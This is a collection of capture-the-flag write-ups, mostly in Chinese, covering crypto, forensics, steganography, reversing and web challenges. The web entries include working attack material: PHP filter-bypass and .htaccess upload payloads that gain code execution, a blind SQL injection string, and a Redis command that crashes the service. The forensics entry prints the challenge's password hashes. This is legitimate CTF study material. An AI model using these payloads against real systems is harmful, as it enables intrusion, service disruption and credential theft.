+"I have a message to send", she announced over the public channels. Eve, who always paid excessive attention to everything Alice said, thought that this sounded interesting, and resolved to read the message.
+"I shall send it to Bob in the most convoluted way possible," expounded Alice further, "using a mixture of private and public channels as well as key information sent by trusted courier"
+Eve found this talk of exceptional complication extremely intriguing. Meanwhile, Bob got himself a sandwich.
+"It shall be ages yet before Alice sends me her message, for she must encode it in the most convoluted way possible. In addition, it is liable to be dull to read even once deciphered" thought Bob. "Secondly, deciphering it is going to be a headache." Therefore Bob made himself a cup of tea to go with his sandwich.
+
+Via a complex series of disguises and the use of clever technology to sample information from allegedly secure channels, Eve recovered a fraction of the message and of the key. By applying all of her considerable intelligence and a hideous quantity of computational power, she was able to recover the plaintext, recode a message and pass it on to Bob as if nothing had happened. Only then did she actually read the plaintext.
+
+hope{not_the_greatest_switcheroo_ibpsnxybkenalxmfndjffds}
+
+++I'll tell you my flag if you can prove you already know it!
+nc mc.ax 31669
+by ireland
+
This is a static res public-private key generation problem. The python code only checks the flag format in the plaintext, maybe, in some practice, we can construct a key pair, to make the hope{.*}
presents in the plaintext.
#!/usr/local/bin/python
+
+import re
+from Crypto.Util.number import isPrime, GCD
+
+flag_regex = rb"hope{[a-zA-Z0-9_\-]+}"
+
+with open("ciphertext.txt", "r") as f:
+ c = int(f.read(), 10)
+
+print(f"Welcome to reverse RSA! The encrypted flag is {c}. Please provide the private key.")
+
+p = int(input("p: "), 10)
+q = int(input("q: "), 10)
+e = int(input("e: "), 10)
+
+N = p * q
+phi = (p-1) * (q-1)
+
+if (p < 3) or not isPrime(p) or (q < 3) or not isPrime(q) or (e < 2) or (e > phi) or GCD(p,q) > 1 or GCD(e, phi) != 1:
+ print("Invalid private key")
+ exit()
+
+
+d = pow(e, -1, phi)
+m = pow(c, d, N)
+
+m = int.to_bytes(m, 256, 'little')
+m = m.strip(b"\x00")
+
+if re.fullmatch(flag_regex, m) is not None:
+ print("Clearly, you must already know the flag!")
+
+ with open('flag.txt','rb') as f:
+ flag = f.read()
+ print(flag.decode())
+
+else:
+ print("hack harder")
+
+This post claims this problem: construct private / public keys.
+Here's an example solution:
+p = 18237507977115134399
+q = 13539415005905881139
+e = 201049869065984997914383873658228289079
+
+We can find the flag finally: hope{successful_decryption_doesnt_mean_correct_decryption_0363f29466b883edd763dc311716194d37dff5cd93cd4f1b4ac46152f4f9}
Category: General Skills
+Source: 祥云杯2021
+Author: unknown
+Score: 10
+Our agent risked his life to install a mysterious device in the immemorial telephone, can you find out the chieftain's telephone number? Flag format: flag{11 digits}
+ +题目给了一个图种,解压得到一个电路图和两千多组数据。
+结合图片推断这是转动码盘的过程记录,查阅文档可得到一系列每次码盘转动的度数。
+数据可进行处理,得到sin值与cos值:
+def get_sin(i):
+ return (data['PC0'][i] - (data['PC0'][i] + data['PC1'][i]) / 2) / 1000
+def get_cos(i):
+ return (data['PC2'][i] - (data['PC2'][i] + data['PC3'][i]) / 2) / 1000
+
+并绘图:
+大概就是抠出峰值
+正弦和余弦算出后得到一个空间坐标分布
+_map = '1234567890'
+ps = [3, 3, 0, 2, 5, 1, 4, 9, 6, 5, 3]
+print(''.join([_map[i] for i in ps]))
+print(''.join([_map[::-1][i] for i in ps]))
+ps = [3, 3, 0, 2, 5, 1, 4, 8, 6, 5, 3]
+print(''.join([_map[i] for i in ps]))
+print(''.join([_map[::-1][i] for i in ps]))
+
+flag{77085962457}
+
+Writeup from https://zhuanlan.zhihu.com/p/402713931
+ + + + + + + + +Category: General Skills
+Source: 祥云杯2021
+Author: unknown
+Score: 45
+题目附件给出来的拖入010 editor查看,发现是个倒着的PNG。将其倒回来,打开发现是一个二维码
+开局一个码
+二维码扫码得:
+col426327/1132122/1211132223/3113253/61531113/111312/5323125/2222/11122153/311111/14312121/11231211/2423211/262121/422221/622132/31121/221122111/5122311/2111221221/121692/12122111/232326/11142121/31253151/22111111123/111313121/1111111/2151371
+
+row31121113/12321133/13111112/13112221121/12112232/16113232/11311311/21111231/11111211/711111117/2124112211/611111241/1311371/131152131/13/2121111311/521(11)11/1311321131/1211211/11111111/14221262/3411131/161713/422141/7122117/1111112111/7111412/71111121/131112131
+
+可能那个括号括起来的就是11这一个数,其他都做一位数解,并且这些数长度集中在6, 7, 8, 9, 10。
+猜测题目的问题形式是数织,接下来就是Misc亲爹的个人秀:
+我看不懂,但我大受震撼
+又由29*29推断可能是个二维码,按行打乱。根据二维码规范解出固定位置并反向更新数织。
+最后只有中间部分的顺序不知道,共种可能性,使用程序穷举。
+这也能修,不愧是Misc亲爹
+data = [[1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1],
+[1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1],
+[1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,0,1],
+[1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1],
+[1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1],
+[1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1],
+[1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1],
+[0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
+[1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1],
+[1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1],
+[1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,1],
+[0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,0,1],
+[1,1,0,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1],
+[1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0],
+[0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,0],
+[1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,0,1,1,0,1,1,1,1,0,1],
+[0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1],
+[1,0,0,1,1,0,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0],
+[1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,1,0,1,1,1,0,0,0,1,1],
+[1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1],
+[1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1],
+[0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0],
+[1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0],
+[1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0],
+[1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0],
+[1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1],
+[1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1],
+[1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,0,1,0,1,0,1],
+[1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0]]
+
+import pyzbar.pyzbar as pyzbar
+from itertools import permutations
+from PIL import Image, ImageDraw as draw
+import matplotlib.pyplot as plt
+from tqdm import tqdm
+
+shuffle_1 = [9, 11, 13, 15, 17, 19]
+shuffle_2 = [10, 12, 14, 16, 18]
+head = data[0:9]
+tail = data[20:]
+
+def body(body_1, body_2):
+ body = []
+ for i in range(5):
+ body.append(body_1[i])
+ body.append(body_2[i])
+ body.append(body_1[5])
+ return [data[i] for i in body]
+
+def draw_img(data):
+ assert len(data) == 29 and len(data[0]) == 29
+ img = Image.new('RGB', (31, 31), (255,255,255))
+ for i, row in enumerate(data):
+ for j, pixel in enumerate(row):
+ img.putpixel((j + 1, i + 1), (0,0,0) if pixel == 1 else (255,255,255))
+ return img
+
+with tqdm(total=720 * 120) as pbar:
+ for body_1 in permutations(shuffle_1):
+ for body_2 in permutations(shuffle_2):
+ im = draw_img(head + body(body_1, body_2) + tail)
+ barcodes = pyzbar.decode(im)
+ pbar.update(1)
+ if(len(barcodes) == 0):
+ continue
+ for barcode in barcodes:
+ barcodeData = barcode.data.decode("utf-8")
+ print(barcodeData)
+ plt.imshow(im)
+ plt.show()
+
+修复成功的二维码如下图所示:
+爹中爹,代中代
+flag{f31861a9-a753-47d5-8660-a8cada6c599e}
+
+这一血真的,太秀了,给他倒洗脚水去了
+Writeup from https://zhuanlan.zhihu.com/p/402713931
+ + + + + + + + +Category: General Skills
+Source: 祥云杯2020
+Author: unknown
+Score: 50
+室友最近沉迷y神,又氪又肝,还ghs。为了他的身体着想,我把他的s图整没了。但我明明删了脚本啊,为什么还能被他发现......8说了,医院的空调真舒服~
+磁盘内所有内容如下:(可用winhex直接复原)
+# !i.py
+
+
+import struct
+from xixi import FAT32Parser
+from xixixi import Padding, picDepartList
+
+
+def EncodePieces():
+ global clusterList
+ res = []
+ Range = len(picDepartList) # 58
+ # GetRandomClusterList(n) - Generate a random cluster list with length n
+ clusterList = GetRandomClusterList(Range)
+
+
+ for i in range(Range):
+ if i != Range - 1:
+ newCRC = struct.pack("<I", clusterList[i+1])
+ plainData = picDepartList[i][:-4] + newCRC
+ else:
+ plainData = picDepartList[i]
+
+
+ # Show the first piece to him, hhh
+ if i == 0:
+ newPiece = plainData
+ else:
+ newPiece = ''
+ key = clusterList[i] & 0xFE
+ for j in plainData:
+ newPiece += chr(ord(j) ^ key)
+ # Padding() -- Fill to an integral multiple of 512 with \xFF
+ res.append(Padding(newPiece))
+ return res
+
+# !ixi.py
+
+
+import struct
+
+
+class FAT32Parser(object):
+ def __init__(self, vhdFileName):
+ with open(vhdFileName, 'rb') as f:
+ self.diskData = f.read()
+ self.DBR_off = self.GetDBRoff()
+ self.newData = ''.join(self.diskData)
+
+
+ def GetDBRoff(self):
+ DPT_off = 0x1BE
+ target = self.diskData[DPT_off+8:DPT_off+12]
+ DBR_sector_off, = struct.unpack("<I", target)
+ return DBR_sector_off * 512
+
+
+ def GetFAT1off(self):
+ target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10]
+ FAT1_sector_off, = struct.unpack("<H", target)
+ return self.DBR_off + FAT1_sector_off * 512
+
+
+ def GetFATlength(self):
+ target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28]
+ FAT_sectors, = struct.unpack("<I", target)
+ return FAT_sectors * 512
+
+
+ def GetRootoff(self):
+ FAT_length = self.GetFATlength()
+ FAT2_off = self.GetFAT1off() + FAT_length
+ return FAT2_off + FAT_length
+
+
+ def Cluster2FAToff(self, cluster):
+ FAT1_off = self.GetFAT1off()
+ return FAT1_off + cluster * 4
+
+
+ def Cluster2DataOff(self, cluster):
+ rootDir_off = self.GetRootoff()
+ return rootDir_off + (cluster - 2) * 512
+
+分析两个文件,可以得出:
+!ixi.py中的类FAT32Parser,可以对磁盘进行一系列操作。!i.py中的文件是对文件进行分块儿处理,并且图片被分为了58块儿,除了第一块儿未被加密外,其余块儿都进行了如下处理:
+每块儿的最后四位,即CRC校验值被替换成了下一块儿所在的簇号。
+除第一块儿外,其余块儿的内容都会与该块儿的簇号 & 0xFE整体进行异或。
+所以想要反解图片块儿,需要对每个块儿先进行异或解密,再查看后四位得到下一块儿的簇号。
+# -*- coding: utf-8 -*-
+# @Project: Hello Python!
+# @File : exp
+# @Author : Tr0jAn <Tr0jAn@birkenwald.cn>
+# @Date : 2020-11-22
+import struct
+import binascii
+from xixi import FAT32Parser
+
+
+def read(n):
+ global key
+ binary = b''
+ for i in vhd.read(n):
+ binary += (i ^ (key & 0xFE)).to_bytes(length=1, byteorder='big', signed=False)
+ return binary
+
+
+FAT = FAT32Parser("new.vhd")
+vhd = open("new.vhd", "rb")
+vhd.seek(0x27bae00) # 定位磁盘中图片位置
+flag = open("flag.png", "wb")
+flag.write(vhd.read(8)) # 写入png头
+key = 0
+while True:
+ d = read(8)
+ length, cType = struct.unpack(">I4s", d)
+ print(length, cType) # length为数据长度,cType为数据块类型
+ data = read(length)
+ CRC = struct.unpack(">I", read(4))[0]
+ print(CRC)
+ rCRC = binascii.crc32(cType + data) & 0xffffffff
+ print(rCRC)
+ rDATA = struct.pack(">I", length) + cType + data + struct.pack(">I", rCRC)
+ flag.write(rDATA)
+ if CRC != rCRC: # CRC错误的IDAT数据块
+ b_endian = struct.pack(">I", CRC)
+ clusterList = struct.unpack("<I", b_endian)[0]
+ print(clusterList)
+ vhd.seek(FAT.Cluster2DataOff(clusterList))
+ key = clusterList & 0xFE
+ if cType == b"IEND":
+ break
+
+对磁盘反解出flag.png
++
flag{0cfdd1ad80807da6c0413de606bb0ae4}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Category: General Skills
+Source: 祥云杯2020
+Author: unknown
+Score: 40
+我那么多遗憾,那么多期盼,你知道吗(下雨熊猫头
+打开1.docx的隐藏文字,看到第二个文档密码的提示
+
+爆破2.docx的密码得到 20201024
+该密码同时也是该文件的创建时间
+
+进入2.docx后ctrl+a全选
+然后复制出来可以得到一串培根密文AABBAABBBAABBBAAAABBABBABABAAAAABBAAABBBBAABBBAABABABBAAABAAAABAABAABBABAAAAABAA
+在线解密得GOODNIGHTSWEETIE
+
+3.docx当压缩包打开,发现4.zip,解压得到4.bmp
+
+使用wbStego4工具处理该bmp图片
+第四步的解密密码为培根解密后的GOODNIGHTSWEETIE
++
然后下一步生成flag.txt 拿到flag
+ +flag{2ec9405ac7bcfb16f5fd494bcf21337c}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Category: General Skills
+Source: 祥云杯2021
+Author: unknown
+Score: 10
+附件下载 提取码(GAME)
+(本题附件较大)
+题目给我们一个memdump和一个磁盘文件。
+可以用volatility看memdump,filescan
和cmdscan
可以发现题目是用了一个叫作FTK Imager的软件弄出来的镜像。
我们尝试用DiskGenius打开磁盘文件,在桌面得到了个flag.txt
。。
李氏神魔恋
+可能是提示要仿真,也有可能是嘲讽。先不管他。下面还有个BitLocker加密的分区
+哟?
+尝试回到内存取证,用filescan
找其他文件但是无果,用hivelist
以及hashdump
找到操作系统的账号密码:
volatility -f "memdump/memdump.mem" --profile=Win7SP1x64 hivelist
+Volatility Foundation Volatility Framework 2.6
+Virtual Physical Name
+------------------ ------------------ ----
+0xfffff8a000ce7410 0x000000001a045410 \SystemRoot\System32\Config\SAM
+0xfffff8a000dcb010 0x0000000019482010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
+0xfffff8a000e5f010 0x00000000199c9010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
+0xfffff8a0013f1010 0x000000000a8d3010 \??\C:\Users\XiaoMing\ntuser.dat
+0xfffff8a001409010 0x000000000a56e010 \??\C:\Users\XiaoMing\AppData\Local\Microsoft\Windows\UsrClass.dat
+0xfffff8a00605c010 0x000000003c087010 \SystemRoot\System32\Config\DEFAULT
+0xfffff8a00000f010 0x0000000022787010 [no name]
+0xfffff8a000024010 0x0000000023512010 \REGISTRY\MACHINE\SYSTEM
+0xfffff8a000060410 0x00000000211d0410 \REGISTRY\MACHINE\HARDWARE
+0xfffff8a0002bb010 0x000000003c017010 \Device\HarddiskVolume3\Boot\BCD
+0xfffff8a000334010 0x0000000000b83010 \SystemRoot\System32\Config\SOFTWARE
+0xfffff8a000c96010 0x0000000017104010 \SystemRoot\System32\Config\SECURITY
+volatility -f "memdump/memdump.mem" --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000ce7410
+Volatility Foundation Volatility Framework 2.6
+Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+XinSai:1000:aad3b435b51404eeaad3b435b51404ee:27caa41e7118fd4429d9b9cbd87aaa40:::
+XiaoMing:1001:aad3b435b51404eeaad3b435b51404ee:92efa7f9f2740956d51157f46521f941:::
+
+然后去cmd5尝试查询NTLM Hash,发现XiaoMing和XinSai的都查不出,但是Administrator和Guest的都是空密码。(XiaoMing的NTLM Hash在cmd5中是一条付费记录)
+回到磁盘中,我们再翻一翻,发现磁盘中可以在\Users\XiaoMing\AppData\Local\Temp
里面找到两个流量包,其中在
wireshark_4D9DE10B-B9DF-4EFF-93CB-50C8BB2AF217_20200813223005_a03980.pcapng
+
+这个流量包里面搜flag发现一个UDP流里面找到了flag.docx
,它在一个RAR压缩包里面。
我们导出这个RAR压缩包,不过尝试解压的时候要密码。
+直接打开这个RAR压缩包,提示压缩包密码跟开机密码相同。
+另外,磁盘桌面上提示要仿真打开,我们可以把他那个磁盘文件用DiskGenius转成vmdk,再用vmware打开。
+可以进入到欢迎页面,但是无论以账户XiaoMing还是XinSai(xm)进入系统都要登录密码。
+做到这里,现在有两个未知:BitLocker的密码和系统的登陆密码(提示和压缩包密码一样)
+我们尝试cmd5里面付费查询那个XiaoMing的NTLM Hash记录。查得为:
+xiaoming_handsome
+
+所以我们可以得到开机密码,和压缩包的解压密码。
+尝试把压缩包解压出来,结果解压出来了flag.docx
文件,但是发现flag.docx
也是需要密码才能打开的。
VMware中可以输密码进系统,引入眼帘的为如下Windows 7便笺:
+那你为什么不干脆一码通得了
+我们猜测是有其他的Windows 7便笺,所以查看便笺存放在磁盘中的路径:
+ +搜到路径后,复制出来,拖进010 Editor查看:
+Aw前缀
+这里大概就是桌面上我们能看到的那个便笺上的内容,再往下一点点:
+word
+看到word,然后下面就是xiaoming1314
,猜测是flag.docx
的密码,尝试后发现正确,并利用其打开flag.docx
便得到flag。
flag{9ca871b668f2-b668-097c-cbm8-9op404c891e2}
+
+Writeup from https://zhuanlan.zhihu.com/p/402713931
+ + + + + + + + +Category: General Skills
+Source: 祥云杯2020
+Author: unknown
+Score: 20
+咪枓崃眯,音乐太好听了。我也要创作一曲。
+拿到手先file看一下decode_it的类型
+
+发现是标准的midi的源文件,但是不能以元数据的形式导入到au,导入库乐队时听其中一个音轨的声音,也没有什么问题。并且波形图也不具备规律。
+于是想起velato这个奇葩的编程语言,这个编程语言主要是采用了所谓的音符编程,可以到官网看一下手册,这里直接下载编译器,尝试编译decode_it,看看有啥
+成功编译,运行decode_it.exe,应该是word的压缩包密码
++
成功解压压缩包获得word,显示隐藏字符,可以看到里面的图片和一串密文
++
图片是精灵语,参照翻译表即可翻译出FLAGIS,那么后面那段密文应该就是flag的密文了
++
这时关注到rar压缩包的注释部分
+
+发现由空格字符和tab字符组成,将空格字符替换成 . ,tab字符替换成- 摩斯解密即可
+
+已知AES密文和key 在线解密得到flag
+ +flag{mU51c_And_ch@ract0rs~}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Category: General Skills
+Source: 祥云杯2021
+Author: unknown
+Score: 15
+小明在家里翻到一台很古老的xp笔记本,换电池之后发现可以正常开机,但是发现硬盘空间不足。清理过程中却发生了一些不愉快的事情...
+ +Windows system image forensics.
+The given memory file is a Windows XP SP3 image file.
+Using volatility
to find information in the image, the followings are important:
1. consoles
+ Gives some information about hacked by 1cepeak.
+2. pslist
+ Find 2 processes, Oneclickcleanup & DumpIt
+3. filescan
+ Find the Oneclickcleanup.exe
+
+
+We should know that DumpIt
is the process used to create system image, and this is not related to the solution.
Then we should reverse Oneclickcleanup.exe
and find the next step.
First, we find a key this_a_key
. The process uses this key to encrypt data.
We get yet another file using reverse.
+The given file is a doc
file with MS Word 6.0
. An old version of document. After the scan and analysis, no macro is found in the doc file, and as well as the hidden character.
After struggling several hours, I happened checked the xor brute force
of the file, and I found something interesting.
This part of the document can be xor
using key 0x2d
and gives the flag.
flag{8bedfdbb-ba42-43d1-858c-c2a5-5012d309}
+Writeup by Enderaoe Lyther
+ + + + + + + + +Category: General Skills
+Source: 祥云杯2020
+Author: unknown
+Score: 40
+电脑中到底使用的是什么进制呢?真是麻烦,有时候还是手机好用。
+结果用flag{}包住,并且全为大写
+下发的文件显示损坏无法打开,但是手机可以正常打开,010edit打开显示CRC错误,修改后提示需要密码解密,但是爆破rar未果,于是想起来可能是rar压缩伪加密,尝试修改
++
图示标记位置的D4修改为D0即可解压
+
+修改后即可解压得到flag.wav
++
里面是flag.wav,以元数据的模式导入au利用AU进行音频反转,得到一段勉强能听的音频,
+
+0.5倍速播放后使用qq音乐听歌识曲,得知是Too Good At Goodbyes
+flag{TOOGOODATGOODBYES}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Category: General Skills
+Source: 祥云杯2021
+Author: unknown
+Score: 5
+在喜欢的人面前,我可不能……丢脸啊……因为我,喜欢鸣人君…………
+ +题目给了我们一个docx,但是双击打不开。
+首先后缀改zip解压之,发现_rels
文件夹下有东西:key.txt
和一个ZIP压缩包。
将key.txt
拖入010 editor发现后面E2 80 8D
和E2 80 8C
出现的最多,猜测是零宽隐写:
https://330k.github.io/misc_tools/unicode_steganography.html
+将key.txt中内容全选并复制,粘贴进去解码就有密码:
+Because I like naruto best
+
+利用这个密码将ZIP压缩包解压之后是很多鸣人和雏田的头像,而且从前面的文件上来看,应该是按照数字顺序,每8个一byte,雏田0,鸣人1。如果这样做的话,解出前三个字母是dat
。写脚本解出,发现前面为
data:image/png;base64,
+
+将后面的内容base64解码之后写到PNG文件,就能看到flag。
+要眼力看
+脚本如下:
+from tqdm import tqdm
+from Crypto.Util.number import *
+import base64
+
+with open('_rels/love/out/0.png', 'rb') as f:
+ zero = f.read()
+
+ans = ''
+for i in tqdm(range(129488)):
+ with open(f'_rels/love/out/{i}.png', 'rb') as f:
+ s = f.read()
+ if (s == zero):
+ ans += '0'
+ else:
+ ans += '1'
+
+s = long_to_bytes(int(ans, 2))).decode()
+s = base64.b64decode(s[22:])
+with open('gao_3.png', 'wb') as f:
+ f.write(s)
+
+flag{57dd74fb21bb1aee50f19421bf836f23}
+
+Writeup from https://zhuanlan.zhihu.com/p/402713931
+ + + + + + + + +Category: Reverse Engineering
+Source: 祥云杯2020
+Author: unknown
+Score: 30
+this is a easy apk
+JEB打开apk,可以看到程序主逻辑的在native层,但是要注意的是调用的是check函数而不是check1函数
++
+
IDA打开so,可以发现程序直接有check1函数
++
而check函数是通过JNI_Onload中registerNatives函数注册的,可以通过反汇编找到关键位置
+ + ++
check函数主逻辑如下:
++
稍作分析,可以发现程序对我们的输入长度进行了判断是否是22位,然后对其进行了hex转化,接着rc4加密,密钥是flag,最后用DES加密,密钥还是flag,最后和明文0x99EDA1D941316EEA进行对比。要注意是的rc4生成时用到了crc校验,那么可以用动态调试去解密rc4。
+ +#-*- coding:utf-8
+from numpy import*
+from Crypto.Cipher import DES
+from Crypto.Cipher import ARC4
+key='666C6167'
+des = DES.new(key, DES.MODE_ECB)
+
+
+cipher1='99EDA1D941316EEA'.decode('hex')
+plain1=des.decrypt(cipher1)
+
+
+print(plain1.encode('hex'))
+#求出des解密明文
+
+动态调试解出rc4密文,即为flag
+flag{76952041E276E2BF}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Category: Reverse Engineering
+Source: 祥云杯2020
+Author: unknown
+Score: 15
+The program that can never be reversed?
+输入的字符串,根据每位的字符会经过一堆的处理,然后跟相应的数据一位一位对比。可以直接输入0-9 a-z的字符串来进行爆破一下字符对应,从而得到flag。
+ +# 1234567890abcdefghijklmnopqrstuv
+
+# unsigned char ida_chars[] =
+# {
+# 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 1-5
+# 0xEE, 0xEF, 0xF0, 0xF1, 0xE8, 6-0
+# 0x19, 0x1A, 0x1B, 0x1C, 0x1D, a-e
+# 0x1E, 0x1F, 0x20, 0x21, 0x22, f-j
+# 0x23, 0x24, 0x25, 0x26, 0x27, k-o
+# 0x28, 0x29, 0x2A, 0x2B, 0x2C, p-t
+# 0x2D, 0x2E u-v
+# };
+
+
+# cmpcode = 0xeb 0xf1 0x19 0xe8 0x1e 0x1e 0xf0 0xec 0xef 0x1e
+# 0xe9 0x1e 0xec 0xec 0xe8 0xec 0x19 0x19 0xee 0x1b
+# 0xef 0xef 0xec 0xea 0x1c 0xea 0xe8 0xeb 0xee 0xeb 0x1d 0xf1
+key = [0xeb,0xf1,0x19,0xe8,0x1e,0x1e,0xf0,0xec,0xef,0x1e,
+0xe9,0x1e,0xec,0xec,0xe8,0xec,0x19,0x19,0xee,0x1b,
+0xef,0xef,0xec,0xea,0x1c,0xea,0xe8,0xeb,0xee,0xeb,0x1d,0xf1
+]
+flag = 'flag{'
+for i in range(len(key)):
+if 0xe8<=key[i]<=0xf1:
+flag += chr(key[i] - 184)
+if 0x19<=key[i]<=(0x19+26):
+flag += chr(key[i] + 72)
+print(flag+'}')
+
+
+flag{39a0ff847f1f4404aa6c7742d20363e9}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Name: easygame
+Type: web
+Author: kagi
+Desc: bypass me
+Link: http://139.9.251.90:8888/
+Attach: None
+Tips: None
+Total: 125 First: 佚名 Second: Ricky Third: lu0sf
+<?php
+highlight_file(__FILE__);
+#### easy game
+
+$upload = 'upload/'.md5("2021".$_SERVER['REMOTE_ADDR']);
+@mkdir($upload);
+file_put_contents($upload.'/index.php', '');
+var_dump($upload);
+
+if (isset($_POST['file']) && isset($_POST['file'])){
+ if(preg_match('#.+\.ph(p[3457]?|t|tml)$|/#is',$_POST['file'])){
+ die('file error');
+ }
+ if(preg_match('#\w{2,}|[678]|<\?|/#',$_POST['content'])){
+ die('content error');
+ }
+ file_put_contents($upload.'/'.$_POST['file'], $_POST['content']);
+}
+
+
+if (isset($_GET['reset'])){
+ @rmdir($upload);
+} string(39) "upload/c946d761bddc7564ff3e45a77a54ae13"
+
+We have access to the upload folder, but both the filename and the content are filtered. The question is to bypass the filter.
+The filename can't be uploaded using any kind of .php
format. The only way is to upload a .htaccess
file to identify the files in this folder are all executed using php
.
.htaccess
+SetHandler application/x-httpd-php
+
+After that, we can upload any filename and open it, the file would be resolved using php
.
But how can we upload the content in the .htaccess
? Let's discuss below.
The filter is strict, all 2 length printable characters are not valid. However, we can use an array to bypass this filter.
+def gen_content(inp):
+ i = 1
+ for c in inp:
+ print('content['+str(i)+']=%'+hex(ord(c))[2:]+'&', end='')
+ i += 1
+
+Then we can upload any php
script to server and gain RCE.
How to find the flag? After several searching in the server, we discovered a /readflag
ELF to read the flag file. Execute it to get the flag.
.htaccess
file upload:
file=.htaccess&content[1]=<&content[2]=?&content[3]=p&content[4]=h&content[5]=p&content[6]=%0a&content[7]=e&content[8]=x&content[9]=e&content[10]=c&content[11]=(&content[12]="&content[13]=l&content[14]=s&content[15]="&content[16]=)&content[17]=%0a&content[18]=?&content[19]=>
+
+payload
file upload:
file=payload&content[1]=<&content[2]=?&content[3]=p&content[4]=h&content[5]=p&content[6]=%0a&content[7]=e&content[8]=c&content[9]=h&content[10]=o&content[11]=%20&content[12]=e&content[13]=x&content[14]=e&content[15]=c&content[16]=(&content[17]="&content[18]=/&content[19]=r&content[20]=e&content[21]=a&content[22]=d&content[23]=f&content[24]=l&content[25]=a&content[26]=g&content[27]="&content[28]=)&content[29]=%0a&content[30]=?&content[31]=>
+
+flag{46dd5c50-3e80-485e-80f4-f46b5d85f4b8}
+ + + + + + + + +++(2022数字中国创新大赛虎符网络安全赛道)
+
排名(高校) | +排名(总) | +解题 | +得分 | +
---|---|---|---|
31 | +42 | +6 | +1529 | +
分类 | +名称 | +分值 | +
---|---|---|
Web | +babysql | +232 pt | +
Misc | +Check in | +31 pt | +
Misc | +Plain Text | +79 pt | +
Misc | +Quest-Crash | +99 pt | +
Misc | +Quest-RCE | +150 pt | +
Misc | +handle | +909 pt | +
username&password 注入
+'or~''and`password`COLLATE`utf8mb4_0900_as_cs`regexp'^[[prefix]]'and`password`regexp'(
+
+通过 [[prefix]]
盲注,401 为 failed,500 为 match。
+得到
+username: QaY8TeFYzC67aeoO
+password: m52FPlDxYyLB^eIzAr!8gxh$
全选复制快速签到,号称COMPASS签到团
+base64得解码后的东西试了各种常见编码加密,未果。
+打开谷歌翻译,源语言选俄语,然后直接键盘输入,得到了flag:
+所有的密码都很细,苹果和西瓜
为什么发现是俄语呢,因为google前两个词,出来了俄语文章
+{"query":"SET 114514 1919810\nGET 114514\nPING"}
+
+可以执行多条,可以绕过,于是
+{"query":"SET 114514 1919810\nGET 114514\nDEBUG SEGFAULT"}
+
+可以崩掉服务。
+根据 vulhub/CVE-2022-0543 找到payload
